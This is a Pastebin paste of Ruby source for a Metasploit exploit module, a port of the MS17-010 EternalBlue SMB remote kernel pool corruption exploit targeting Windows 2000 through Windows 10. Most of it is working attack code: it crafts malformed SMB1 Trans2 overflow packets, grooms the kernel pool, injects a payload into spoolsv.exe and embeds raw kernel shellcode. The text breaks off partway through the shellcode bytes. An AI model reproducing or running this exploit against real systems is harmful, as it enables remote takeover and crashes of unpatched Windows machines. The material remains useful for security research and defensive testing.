Advertisement
Guest User

Untitled

a guest
Nov 26th, 2018
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.46 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7.  
  8. require 'msf/core'
  9. require 'ruby_smb/smb1/packet'
  10. require 'windows_error'
  11.  
  12. class MetasploitModule < Msf::Exploit::Remote
  13. Rank = AverageRanking
  14.  
  15. include Msf::Exploit::Remote::Tcp
  16.  
  17.  
  18.  
  19. def initialize(info = {})
  20. super(update_info(info,
  21. 'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
  22. 'Description' => %q{
  23. This module is a port of the ETERNALBLUE Exploit by the Shadow Brokers, made
  24. compatible with win7-win10. Thanks to Worawit Wang and cclauss.
  25. This exploit was found on ExploitDB by sleepya.
  26. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  27. is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  28. DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  29. is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  30. completed in srvnet!SrvNetWskReceiveComplete.
  31. This exploit, like the original may not trigger 100% of the time, and should be
  32. run continuously until triggered. It seems like the pool will get hot streaks
  33. and need a cool down period before the shells rain in again.
  34. The module will attempt to use Anonymous login, by default, to authenticate to perform the
  35. exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  36. those instead.
  37. On some systems, this module may cause system instability and crashes, such as a BSOD or
  38. a reboot. This may be more likely with some payloads.
  39. },
  40. 'Author' =>
  41. [
  42. 'Worawit Wang (https://github.com/worawit)',
  43. 'cclauss (https://github.com/cclauss)',
  44. 'sleepya',
  45. 'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
  46. 'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
  47. 'Equation Group',
  48. 'Shadow Brokers',
  49. 'thelightcosine',
  50. 'Pascal3366 (https://github.com/Pascal3366)' # Author of this Port
  51. ],
  52. 'Payload' =>
  53. {
  54. 'BadChars' => "\x00\x01",
  55. 'Space' => 2000, # this can be more, needs to be recalculated
  56. 'EncoderType' => Msf::Encoder::Type::Raw,
  57. },
  58. 'DefaultTarget' => 7,
  59. 'Targets' =>
  60. [
  61. ['Windows 2016 x64',
  62. {
  63. 'Platform' => 'win',
  64. 'Arch' => [ ARCH_X64 ],
  65. 'os_patterns' => ['Windows 2016']
  66. }
  67. ],
  68. ['Windows 10 Pro Build 10240 x64',
  69. {
  70. 'Platform' => 'win',
  71. 'Arch' => [ ARCH_X64 ],
  72. 'os_patterns' => ['Windows 10 Pro Build 10240']
  73. }
  74. ],
  75. ['Windows 10 Pro x64',
  76. {
  77. 'Platform' => 'win',
  78. 'Arch' => [ ARCH_X64 ],
  79. 'os_patterns' => ['Windows 10 Pro']
  80. }
  81. ],
  82. ['Windows 10 Home x64',
  83. {
  84. 'Platform' => 'win',
  85. 'Arch' => [ ARCH_X64 ],
  86. 'os_patterns' => ['Windows 10 Home']
  87. }
  88. ],
  89. ['Windows 10 Enterprise x64',
  90. {
  91. 'Platform' => 'win',
  92. 'Arch' => [ ARCH_X64 ],
  93. 'os_patterns' => ['Windows 10 Enterprise']
  94. }
  95. ],
  96. ['Windows 10 Education x64',
  97. {
  98. 'Platform' => 'win',
  99. 'Arch' => [ ARCH_X64 ],
  100. 'os_patterns' => ['Windows 10 Education']
  101. }
  102. ],
  103. ['Windows 2012 R2 x64',
  104. {
  105. 'Platform' => 'win',
  106. 'Arch' => [ ARCH_X64 ],
  107. 'os_patterns' => ['Windows 2012 R2']
  108. }
  109. ],
  110. ['Windows 8.1 x64',
  111. {
  112. 'Platform' => 'win',
  113. 'Arch' => [ ARCH_X64 ],
  114. 'os_patterns' => ['Windows 8.1']
  115. }
  116. ],
  117. ['Windows 2008 R2 SP1 x64',
  118. {
  119. 'Platform' => 'win',
  120. 'Arch' => [ ARCH_X64 ],
  121. 'os_patterns' => ['Windows 2008 R2 SP1']
  122. }
  123. ],
  124. ['Windows 7 SP1 x64',
  125. {
  126. 'Platform' => 'win',
  127. 'Arch' => [ ARCH_X64 ],
  128. 'os_patterns' => ['Windows 7 SP1']
  129. }
  130. ],
  131. ['Windows 2008 SP1 x64',
  132. {
  133. 'Platform' => 'win',
  134. 'Arch' => [ ARCH_X64 ],
  135. 'os_patterns' => ['Windows 2008 SP1']
  136. }
  137. ],
  138. ['Windows 2003 R2 SP2 x64',
  139. {
  140. 'Platform' => 'win',
  141. 'Arch' => [ ARCH_X64 ],
  142. 'os_patterns' => ['Windows 2003 R2 SP2']
  143. }
  144. ],
  145. ['Windows XP SP2 x64',
  146. {
  147. 'Platform' => 'win',
  148. 'Arch' => [ ARCH_X64 ],
  149. 'os_patterns' => ['Windows XP SP2']
  150. }
  151. ],
  152. ['Windows 8.1 x86',
  153. {
  154. 'Platform' => 'win',
  155. 'Arch' => [ ARCH_X86 ],
  156. 'os_patterns' => ['Windows 8.1']
  157. }
  158. ],
  159. ['Windows 7 SP1 x86',
  160. {
  161. 'Platform' => 'win',
  162. 'Arch' => [ ARCH_X86 ],
  163. 'os_patterns' => ['Windows 7 SP1']
  164. }
  165. ],
  166. ['Windows 2008 SP1 x86',
  167. {
  168. 'Platform' => 'win',
  169. 'Arch' => [ ARCH_X64 ],
  170. 'os_patterns' => ['Windows 2008 SP1']
  171. }
  172. ],
  173. ['Windows 2003 SP2 x86',
  174. {
  175. 'Platform' => 'win',
  176. 'Arch' => [ ARCH_X86 ],
  177. 'os_patterns' => ['Windows 2003 SP2']
  178. }
  179. ],
  180. ['Windows XP SP3 x86',
  181. {
  182. 'Platform' => 'win',
  183. 'Arch' => [ ARCH_X86 ],
  184. 'os_patterns' => ['Windows XP SP3']
  185. }
  186. ],
  187. ['Windows 2000 SP4 x86',
  188. {
  189. 'Platform' => 'win',
  190. 'Arch' => [ ARCH_X86 ],
  191. 'os_patterns' => ['Windows 2000 SP4']
  192. }
  193. ],
  194. ],
  195. 'ExitFunc' => 'thread',
  196. 'Target' => 0,
  197. 'License' => MSF_LICENSE,
  198. 'References' =>
  199. [
  200. [ 'AKA', 'ETERNALBLUE' ],
  201. [ 'MSB', 'MS17-010' ],
  202. [ 'CVE', '2017-0143' ],
  203. [ 'CVE', '2017-0144' ],
  204. [ 'CVE', '2017-0145' ],
  205. [ 'CVE', '2017-0146' ],
  206. [ 'CVE', '2017-0147' ],
  207. [ 'CVE', '2017-0148' ],
  208. [ 'URL', 'https://github.com/worawit/MS17-010' ],
  209. [ 'URL', 'https://github.com/Pascal3366/MS17-010-EternalBlue-WinXP-Win10' ],
  210. ],
  211. 'Privileged' => true,
  212. )
  213.  
  214. )
  215.  
  216. register_options(
  217. [
  218. Opt::RPORT(445),
  219. OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
  220. OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 5 ] ),
  221. OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
  222. OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
  223. OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
  224. OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
  225. OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
  226. OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
  227. OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
  228. ])
  229. end
  230.  
  231. class EternalBlueError < StandardError
  232. end
  233.  
  234.  
  235.  
  236. def check
  237. # todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
  238. end
  239.  
  240.  
  241.  
  242. def exploit
  243. begin
  244. for i in 1..datastore['MaxExploitAttempts']
  245.  
  246. grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
  247.  
  248. smb_eternalblue(datastore['ProcessName'], grooms)
  249.  
  250. # we don't need this sleep, and need to find a way to remove it
  251. # problem is session_count won't increment until stage is complete :\
  252. secs = 0
  253. while !session_created? and secs < 5
  254. secs += 1
  255. sleep 1
  256. end
  257.  
  258. if session_created?
  259. print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  260. print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  261. print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  262. break
  263. else
  264. print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  265. print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  266. print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  267. end
  268. end
  269.  
  270. rescue EternalBlueError => e
  271. print_error("#{e.message}")
  272. rescue ::RubySMB::Error::UnexpectedStatusCode,
  273. ::Errno::ECONNRESET,
  274. ::Rex::HostUnreachable,
  275. ::Rex::ConnectionTimeout,
  276. ::Rex::ConnectionRefused => e
  277. print_error("#{e.class}: #{e.message}")
  278. rescue => error
  279. print_error(error.class.to_s)
  280. print_error(error.message)
  281. print_error(error.backtrace.join("\n"))
  282. ensure
  283. # pass
  284. end
  285. end
  286.  
  287.  
  288.  
  289. def smb_eternalblue(process_name, grooms)
  290. begin
  291. # Step 0: pre-calculate what we can
  292. shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
  293. payload_hdr_pkt = make_smb2_payload_headers_packet
  294. payload_body_pkt = make_smb2_payload_body_packet(shellcode)
  295.  
  296. # Step 1: Connect to IPC$ share
  297. print_status("Connecting to target for exploitation.")
  298. client, tree, sock, os = smb1_anonymous_connect_ipc()
  299. rescue RubySMB::Error::CommunicationError
  300. # Error handler in case SMBv1 disabled on target
  301. raise EternalBlueError, 'Could not make SMBv1 connection'
  302. else
  303. print_good("Connection established for exploitation.")
  304.  
  305. if verify_target(os)
  306. print_good('Target OS selected valid for OS indicated by SMB reply')
  307. else
  308. print_warning('Target OS selected not valid for OS indicated by SMB reply')
  309. print_warning('Disable VerifyTarget option to proceed manually...')
  310. raise EternalBlueError, 'Unable to continue with improper OS Target.'
  311. end
  312.  
  313. # cool buffer print no matter what, will be helpful when people post debug issues
  314. print_core_buffer(os)
  315.  
  316. if verify_arch
  317. print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
  318. else
  319. print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
  320. print_warning('Disable VerifyArch option to proceed manually...')
  321. raise EternalBlueError, 'Unable to continue with improper OS Arch.'
  322. end
  323.  
  324. print_status("Trying exploit with #{grooms} Groom Allocations.")
  325.  
  326. # Step 2: Create a large SMB1 buffer
  327. print_status("Sending all but last fragment of exploit packet")
  328. smb1_large_buffer(client, tree, sock)
  329.  
  330. # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
  331. print_status("Starting non-paged pool grooming")
  332.  
  333. # initialize_groom_threads(ip, port, payload, grooms)
  334. fhs_sock = smb1_free_hole(true)
  335.  
  336. @groom_socks = []
  337.  
  338. print_good("Sending SMBv2 buffers")
  339. smb2_grooms(grooms, payload_hdr_pkt)
  340.  
  341. fhf_sock = smb1_free_hole(false)
  342.  
  343. print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
  344. fhs_sock.shutdown()
  345.  
  346. print_status("Sending final SMBv2 buffers.") # 6x
  347. smb2_grooms(6, payload_hdr_pkt) # todo: magic #
  348.  
  349. fhf_sock.shutdown()
  350.  
  351. print_status("Sending last fragment of exploit packet!")
  352. final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
  353. sock.put(final_exploit_pkt)
  354.  
  355. print_status("Receiving response from exploit packet")
  356. code, raw = smb1_get_response(sock)
  357.  
  358. code_str = "0x" + code.to_i.to_s(16).upcase
  359. if code.nil?
  360. print_error("Did not receive a response from exploit packet")
  361. elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
  362. print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
  363. else
  364. print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
  365. end
  366.  
  367. # Step 4: Send the payload
  368. print_status("Sending egg to corrupted connection.")
  369.  
  370. @groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
  371. @groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
  372.  
  373. print_status("Triggering free of corrupted buffer.")
  374. # tree disconnect
  375. # logoff and x
  376. # note: these aren't necessary, just close the sockets
  377. return true
  378. ensure
  379. abort_sockets
  380. end
  381. end
  382.  
  383.  
  384.  
  385.  
  386. def verify_target(os)
  387. os = os.gsub("\x00", '') # strip unicode bs
  388. os << "\x00" # but original has a null
  389. ret = true
  390.  
  391. if datastore['VerifyTarget']
  392. ret = false
  393. # search if its in patterns
  394. target['os_patterns'].each do |pattern|
  395. if os.downcase.include? pattern.downcase
  396. ret = true
  397. break
  398. end
  399. end
  400. end
  401.  
  402. return ret
  403. end
  404.  
  405.  
  406.  
  407. # https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
  408. # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
  409. def verify_arch
  410. ret = false
  411.  
  412. return true if !datastore['VerifyArch']
  413.  
  414. pkt = Rex::Proto::DCERPC::Packet.make_bind(
  415. # Abstract Syntax: EPMv4 V3.0
  416. 'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
  417. # Transfer Syntax[1]: 64bit NDR V1
  418. '71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
  419. ).first
  420.  
  421. begin
  422. sock = connect(false,
  423. 'RHOST' => rhost,
  424. 'RPORT' => 135
  425. )
  426. rescue Rex::ConnectionError => e
  427. print_error(e.to_s)
  428. return false
  429. end
  430.  
  431. sock.put(pkt)
  432.  
  433. begin
  434. res = sock.get_once(60)
  435. rescue EOFError
  436. print_error('DCE/RPC socket returned EOFError')
  437. return false
  438. end
  439.  
  440. disconnect(sock)
  441.  
  442. begin
  443. resp = Rex::Proto::DCERPC::Response.new(res)
  444. rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
  445. print_error(e.to_s)
  446. return false
  447. end
  448.  
  449. case target_arch.first
  450. when ARCH_X64
  451. # Ack result: Acceptance (0)
  452. if resp.ack_result.first == 0
  453. ret = true
  454. end
  455. when ARCH_X86
  456. # Ack result: Provider rejection (2)
  457. # Ack reason: Proposed transfer syntaxes not supported (2)
  458. if resp.ack_result.first == 2 && resp.ack_reason.first == 2
  459. ret = true
  460. end
  461. end
  462.  
  463. ret
  464. end
  465.  
  466.  
  467.  
  468. def print_core_buffer(os)
  469. print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
  470.  
  471. count = 0
  472. chunks = os.scan(/.{1,16}/)
  473. chunks.each do | chunk |
  474. hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, "0") }.join(" ")
  475.  
  476. format = "0x%08x %-47s %-16s" % [(count * 16), hexdump, chunk]
  477. print_status(format)
  478. count += 1
  479. end
  480. end
  481.  
  482.  
  483.  
  484. #
  485. # Increase the default delay by five seconds since some kernel-mode
  486. # payloads may not run immediately.
  487. #
  488. def wfs_delay
  489. super + 5
  490. end
  491.  
  492.  
  493.  
  494. def smb2_grooms(grooms, payload_hdr_pkt)
  495. grooms.times do |groom_id|
  496. gsock = connect(false)
  497. @groom_socks << gsock
  498. gsock.put(payload_hdr_pkt)
  499. end
  500. end
  501.  
  502.  
  503.  
  504. def smb1_anonymous_connect_ipc
  505. sock = connect(false)
  506. dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  507. client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
  508. response_code = client.login
  509.  
  510. unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
  511. raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
  512. end
  513. os = client.peer_native_os
  514.  
  515. tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
  516.  
  517. return client, tree, sock, os
  518. end
  519.  
  520.  
  521.  
  522. def smb1_large_buffer(client, tree, sock)
  523. nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
  524.  
  525. # send NT Trans
  526. vprint_status("Sending NT Trans Request packet")
  527.  
  528. client.send_recv(nt_trans_pkt)
  529. # Initial Trans2 request
  530. trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
  531.  
  532. # send all but last packet
  533. for i in 1..14
  534. trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
  535. end
  536.  
  537. vprint_status("Sending malformed Trans2 packets")
  538. sock.put(trans2_pkt_nulled)
  539.  
  540. sock.get_once
  541.  
  542. client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
  543. end
  544.  
  545.  
  546.  
  547. def smb1_free_hole(start)
  548. sock = connect(false)
  549. dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  550. client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
  551. client.negotiate
  552.  
  553. pkt = ""
  554.  
  555. if start
  556. vprint_status("Sending start free hole packet.")
  557. pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
  558. else
  559. vprint_status("Sending end free hole packet.")
  560. pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
  561. end
  562.  
  563. client.send_recv(pkt)
  564. sock
  565. end
  566.  
  567.  
  568.  
  569. def smb1_get_response(sock)
  570. raw = nil
  571.  
  572. # dirty hack since it doesn't always like to reply the first time...
  573. 16.times do
  574. raw = sock.get_once
  575. break unless raw.nil? or raw.empty?
  576. end
  577.  
  578. return nil unless raw
  579. response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
  580. code = response.nt_status
  581. return code, raw, response
  582. end
  583.  
  584.  
  585.  
  586. def make_smb2_payload_headers_packet
  587. # don't need a library here, the packet is essentially nonsensical
  588. pkt = ""
  589. pkt << "\x00" # session message
  590. pkt << "\x00\xff\xf7" # size
  591. pkt << "\xfeSMB" # SMB2
  592. pkt << "\x00" * 124
  593.  
  594. pkt
  595. end
  596.  
  597.  
  598.  
  599. def make_smb2_payload_body_packet(kernel_user_payload)
  600. # precalculated lengths
  601. pkt_max_len = 4204
  602. pkt_setup_len = 497
  603. pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
  604.  
  605. # this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
  606. pkt = ""
  607.  
  608. # padding
  609. pkt << "\x00" * 0x8
  610. pkt << "\x03\x00\x00\x00"
  611. pkt << "\x00" * 0x1c
  612. pkt << "\x03\x00\x00\x00"
  613. pkt << "\x00" * 0x74
  614.  
  615. # KI_USER_SHARED_DATA addresses
  616. pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
  617. pkt << "\x00" * 0x10
  618. pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
  619. pkt << "\x00" * 0xc4
  620.  
  621. # payload addreses
  622. pkt << "\x90\xf1\xdf\xff"
  623. pkt << "\x00" * 0x4
  624. pkt << "\xf0\xf1\xdf\xff"
  625. pkt << "\x00" * 0x40
  626.  
  627. pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
  628. pkt << "\x00" * 0x8
  629. pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
  630. pkt << "\x00"
  631.  
  632. pkt << kernel_user_payload
  633.  
  634. # fill out the rest, this can be randomly generated
  635. pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
  636.  
  637. pkt
  638. end
  639.  
  640.  
  641.  
  642. # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
  643. def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
  644. timeout = (timeout * 0x10) + 3
  645. timeout_value = "\x35\x00\xd0" + timeout.chr
  646.  
  647. packet = RubySMB::SMB1::Packet::Trans2::Request.new
  648. packet = set_smb1_headers(packet,tree_id,user_id)
  649.  
  650. # The packets are labeled as Secondary Requests but are actually structured
  651. # as normal Trans2 Requests for some reason. We shall similarly cheat here.
  652. packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
  653.  
  654. packet.parameter_block.flags.read("\x00\x10")
  655. packet.parameter_block.timeout.read(timeout_value)
  656.  
  657. packet.parameter_block.word_count = 9
  658. packet.parameter_block.total_data_count = 4096
  659. packet.parameter_block.parameter_count = 4096
  660.  
  661. nbss = "\x00\x00\x10\x35"
  662. pkt = packet.to_binary_s
  663. pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
  664. pkt = nbss + pkt
  665.  
  666. case type
  667. when :eb_trans2_exploit
  668. vprint_status("Making :eb_trans2_exploit packet")
  669.  
  670. pkt << "\x41" * 2957
  671.  
  672. pkt << "\x80\x00\xa8\x00" # overflow
  673.  
  674. pkt << "\x00" * 0x10
  675. pkt << "\xff\xff"
  676. pkt << "\x00" * 0x6
  677. pkt << "\xff\xff"
  678. pkt << "\x00" * 0x16
  679.  
  680. pkt << "\x00\xf1\xdf\xff" # x86 addresses
  681. pkt << "\x00" * 0x8
  682. pkt << "\x20\xf0\xdf\xff"
  683.  
  684. pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
  685.  
  686. pkt << "\x60\x00\x04\x10"
  687. pkt << "\x00" * 4
  688.  
  689. pkt << "\x80\xef\xdf\xff"
  690.  
  691. pkt << "\x00" * 4
  692. pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
  693. pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
  694. pkt << "\x00" * 0x10
  695.  
  696. pkt << "\x60\x00\x04\x10"
  697. pkt << "\x00" * 0xc
  698. pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
  699. pkt << "\x00" * 0x8
  700. pkt << "\x80\x10"
  701. pkt << "\x00" * 0xe
  702. pkt << "\x39"
  703. pkt << "\xbb"
  704.  
  705. pkt << "\x41" * 965
  706. when :eb_trans2_zero
  707. vprint_status("Making :eb_trans2_zero packet")
  708. pkt << "\x00" * 2055
  709. pkt << "\x83\xf3"
  710. pkt << "\x41" * 2039
  711. else
  712. vprint_status("Making :eb_trans2_buffer packet")
  713. pkt << "\x41" * 4096
  714. end
  715. pkt
  716. end
  717.  
  718.  
  719.  
  720. def make_smb1_nt_trans_packet(tree_id, user_id)
  721. packet = RubySMB::SMB1::Packet::NtTrans::Request.new
  722.  
  723. # Disable the automatic padding because it will distort
  724. # our values here.
  725. packet.data_block.enable_padding = false
  726.  
  727. packet = set_smb1_headers(packet,tree_id,user_id)
  728.  
  729. packet.parameter_block.max_setup_count = 1
  730. packet.parameter_block.total_parameter_count = 30
  731. packet.parameter_block.total_data_count = 66512
  732. packet.parameter_block.max_parameter_count = 30
  733. packet.parameter_block.max_data_count = 0
  734. packet.parameter_block.parameter_count = 30
  735. packet.parameter_block.parameter_offset = 75
  736. packet.parameter_block.data_count = 976
  737. packet.parameter_block.data_offset = 104
  738. packet.parameter_block.function = 0
  739.  
  740. packet.parameter_block.setup << 0x0000
  741.  
  742. packet.data_block.byte_count = 1004
  743. packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
  744. packet
  745. end
  746.  
  747.  
  748.  
  749. def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
  750. packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
  751.  
  752. packet.smb_header.flags.read("\x18")
  753. packet.smb_header.flags2.read(flags2)
  754. packet.smb_header.pid_high = 65279
  755. packet.smb_header.mid = 64
  756.  
  757. packet.parameter_block.vc_number.read(vcnum)
  758. packet.parameter_block.max_buffer_size = 4356
  759. packet.parameter_block.max_mpx_count = 10
  760. packet.parameter_block.security_blob_length = 0
  761.  
  762. packet.data_block.native_os = native_os
  763. packet.data_block.native_lan_man = "\x00" * 17
  764. packet
  765. end
  766.  
  767.  
  768.  
  769. # ring3 = user mode encoded payload
  770. # proc_name = process to inject APC into
  771. # ep_thl_b = EPROCESS.ThreadListHead.Blink offset
  772. # et_alertable = ETHREAD.Alertable offset
  773. # teb_acp = TEB.ActivationContextPointer offset
  774. # et_tle = ETHREAD.ThreadListEntry offset
  775. def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
  776. sc = make_kernel_shellcode
  777. sc << [ring3.length].pack("S<")
  778. sc << ring3
  779. sc
  780. end
  781.  
  782.  
  783.  
  784. def make_kernel_shellcode
  785. # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
  786. # Length: 1019 bytes
  787.  
  788. #"\xcc"+
  789. "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
  790. "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
  791. "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
  792. "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +
  793. "\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +
  794. "\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +
  795. "\x00\x00\x00\x41\x53\x6A\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55" +
  796. "\x48\x81\xEC\x58\x01\x00\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48" +
  797. "\x89\x9D\xC0\x00\x00\x00\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5" +
  798. "\xD0\x00\x00\x00\x48\xA1\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89" +
  799. "\xC2\x48\xC1\xEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00" +
  800. "\x00\xC0\x0F\x30\xFB\xE8\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25" +
  801. "\xA8\x01\x00\x00\x48\x83\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C" +
  802. "\x41\x5B\x41\x5A\x41\x59\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65" +
  803. "\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F" +
  804. "\xD0\xFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5" +
  805. "\x66\x83\xE4\xF0\x48\x83\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65" +
  806. "\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C" +
  807. "\x49\xC1\xE7\x0C\x49\x81\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81" +
  808. "\xFE\x4D\x5A\x75\xEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00" +
  809. "\x48\x89\xC6\x48\x81\xC6\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30" +
  810. "\xE8\x03\x02\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90" +
  811. "\x00\x05\x00\x00\x48\x39\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B" +
  812. "\x36\x48\x39\xCE\x75\xE2\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04" +
  813. "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
  814. "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
  815. "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
  816. "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49" +
  817. "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
  818. "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
  819. "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +
  820. "\xC9\x48\x89\x0A\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC" +
  821. "\x20\xE8\x52\x01\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B" +
  822. "\x3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00" +
